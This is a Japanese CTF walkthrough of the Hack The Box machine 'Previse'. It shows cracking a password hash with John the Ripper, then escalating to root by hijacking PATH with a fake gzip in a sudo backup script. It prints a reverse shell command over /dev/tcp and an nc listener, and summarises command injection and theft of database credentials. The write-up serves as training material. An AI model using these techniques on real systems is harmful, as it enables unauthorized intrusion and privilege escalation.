$ john -format=md5crypt-long john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates left, minimum 16 needed for performance.
ilovecody112235! (?)
1g 0:00:00:00 DONE (2024-06-02 23:11) 3.125g/s 9.375p/s 9.375c/s 9.375C/s ilovecody112235!..b
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

前の出力に

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead

と書いてあったけど、全く見てなかった

roaris commented 2 months ago

suで切り替わって、user.txtゲット(sshしても良い)

www-data@previse:/var/www/html$ su m4lwhere
Password:
m4lwhere@previse:/var/www/html$ cd ~
m4lwhere@previse:~$ cat user.txt
ba4e8f4a08a82f1faa530346e37bed77
roaris commented 2 months ago

/opt/scripts/access_backup.shがroot権限で実行出来る

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -l /opt/scripts/access_backup.sh
-rwxr-xr-x 1 root root 486 Jun  6  2021 /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
roaris commented 2 months ago

This is configured to run with cronと書いてあるけど、crontab -lで確認しても何も出てこなかったのと(rootじゃないから出てこないなら分かるけど)、/var/backupsにgzファイルが増えていく気配はない(1日間隔で実行?) 2021Jun17_access.gz, 2021Jun17_access.gzは元々あって、2024Jun01_access.gz, 2024Jun01_access.gzはsudo /opt/scripts/access_backup.shで作られた

m4lwhere@previse:~$ crontab -l
no crontab for m4lwhere
m4lwhere@previse:~$ ls -al /var/backups
total 772
drwxr-xr-x  2 root root     4096 Jun  2 14:32 .
drwxr-xr-x 14 root root     4096 Jul 26  2021 ..
-rw-r--r--  1 root root     2998 Jun 18  2021 2021Jun17_access.gz
-rw-r--r--  1 root root      173 Jun 18  2021 2021Jun17_access.gz
-rw-r--r--  1 root root     3511 Jun  2 14:32 2024Jun01_access.gz
-rw-r--r--  1 root root      179 Jun  2 14:32 2024Jun01_access.gz
-rw-r--r--  1 root root    61440 Jun  4  2021 alternatives.tar.0
-rw-r--r--  1 root root    33709 Jul 27  2021 apt.extended_states.0
-rw-r--r--  1 root root     3688 Jul 26  2021 apt.extended_states.1.gz
-rw-r--r--  1 root root     3708 Jul 16  2021 apt.extended_states.2.gz
-rw-r--r--  1 root root     3853 Jun  4  2021 apt.extended_states.3.gz
-rw-r--r--  1 root root     3825 Jun  3  2021 apt.extended_states.4.gz
-rw-r--r--  1 root root     3819 May 27  2021 apt.extended_states.5.gz
-rw-r--r--  1 root root     3504 May 25  2021 apt.extended_states.6.gz
-rw-r--r--  1 root root      437 May 25  2021 dpkg.diversions.0
-rw-r--r--  1 root root      207 May 25  2021 dpkg.statoverride.0
-rw-r--r--  1 root root   617705 Jun  4  2021 dpkg.status.0
-rw-------  1 root root      735 May 31  2021 group.bak
-rw-------  1 root shadow    617 May 31  2021 gshadow.bak
-rw-------  1 root root     1623 May 25  2021 passwd.bak
-rw-------  1 root shadow   1055 Jun  1  2021 shadow.bak
roaris commented 2 months ago

sudoなしだと実行できない /var/backupsの書き込み権限がないので、ファイルの作成に失敗する

m4lwhere@previse:~$ /opt/scripts/access_backup.sh
/opt/scripts/access_backup.sh: line 8: /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz: Permission denied
/opt/scripts/access_backup.sh: line 9: /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz: Permission denied
m4lwhere@previse:~$ ls -ld /var/backups
drwxr-xr-x 2 root root 4096 Jun  2 14:32 /var/backups
roaris commented 2 months ago

gzipのバージョンは1.6で、脆弱性は見つからなかった

m4lwhere@previse:~$ gzip --version
gzip 1.6
Copyright (C) 2007, 2010, 2011 Free Software Foundation, Inc.
Copyright (C) 1993 Jean-loup Gailly.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.

Written by Jean-loup Gailly.
roaris commented 2 months ago

https://0xdf.gitlab.io/2022/01/08/htb-previse.html#path-injection

環境変数のPATHを設定して、/bin/gzipではなくて、勝手に作ったgzipという名前のファイルを使わせれば良いらしい PATHは前から見られていくので、一番先頭にパス(今回は/home/m4lwhere)を追加すれば良い

m4lwhere@previse:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:~$ which gzip
/bin/gzip
m4lwhere@previse:~$ echo "bash -i" > gzip
m4lwhere@previse:~$ export PATH=/home/m4lwhere:$PATH
m4lwhere@previse:~$ which gzip
/bin/gzip
m4lwhere@previse:~$ chmod +x gzip
m4lwhere@previse:~$ which gzip
/home/m4lwhere/gzip
roaris commented 2 months ago

rootに切り替わるのには成功したが、出力が何も出てこない

m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
root@previse:~# cat /root/root.txt
root@previse:~# ls -al /root
root@previse:~# whoami
root@previse:~#
roaris commented 2 months ago

リバースシェルを実行して、root.txtを取れた

m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
root@previse:~# cat /root/root.txt
root@previse:~# ls -al /root
root@previse:~# whoami
root@previse:~# bash -i >& /dev/tcp/10.10.14.29/5555 0>&1
$ nc -lvp 5555
listening on [any] 5555 ...
10.10.11.104: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.104] 52038
root@previse:~# cat /root/root.txt
cat /root/root.txt
b8927a879d2d64e265e184521fc5edaf
roaris commented 2 months ago

https://0xdf.gitlab.io/2022/01/08/htb-previse.html#beyond-root /etc/sudoersには、secure_pathという設定項目があり、sudoでコマンドを実行した時のPATHを固定する 今回のマシンの/etc/sudoersには、secure_pathが設定されていなかったので(コメントアウトされている)、PATHの変更でrootに権限昇格することが出来た

root@previse:~# cat /etc/sudoers
cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
#Defaults       env_reset
#Defaults       mail_badpass
#Defaults       secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
# Allow manual backups of access logs as needed
m4lwhere ALL=(root) /opt/scripts/access_backup.sh

自分のkali linuxでsecure_pathが設定されていた

$ sudo cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
...

あと、env_resetがコメントアウトされているのも効いていると思われる(コメントアウトされていないと、ユーザ切り替わり時に切り替わる前のユーザの環境変数が引き継がれないはず) https://qiita.com/chroju/items/375582799acd3c5137c7

roaris commented 2 months ago

解き方まとめ

  1. execution after redirectに気付く また、BurpのInterceptでレスポンス中の302 Foundを200 OKに書き換えれば、リダイレクトを防げる
  2. POST /accounts.phpでアカウントを作成し、ログインする(Burpでリクエストを送信するときは末尾に改行を入れないように注意)
  3. ソースコードをダウンロードする
  4. ソースコードを見て、POST logs.phpで、コマンドインジェクション出来ることに気付いて、リバースシェルを実行
  5. ソースコード中にMySQLの認証情報が書かれているので、これを使って、MySQLにアクセスして、m4lwhereユーザのハッシュ化されたパスワードを入手
  6. john the ripperで元のパスワードを特定する formatオプションを適切に指定する必要があることに注意
  7. suでm4lwhereに切り替わり、user.txtゲット
  8. sudo -lで/opt/scripts/access_backup.shがroot権限で実行出来るのに気付く
  9. /opt/scripts/access_backup.shの中で、gzipが絶対パスになっていないので、環境変数のPATHを変更し、/bin/gzipではなく、勝手に作ったgzipというファイル(シェルを起動する)が使われるようにし、rootに切り替わり、root.txtゲット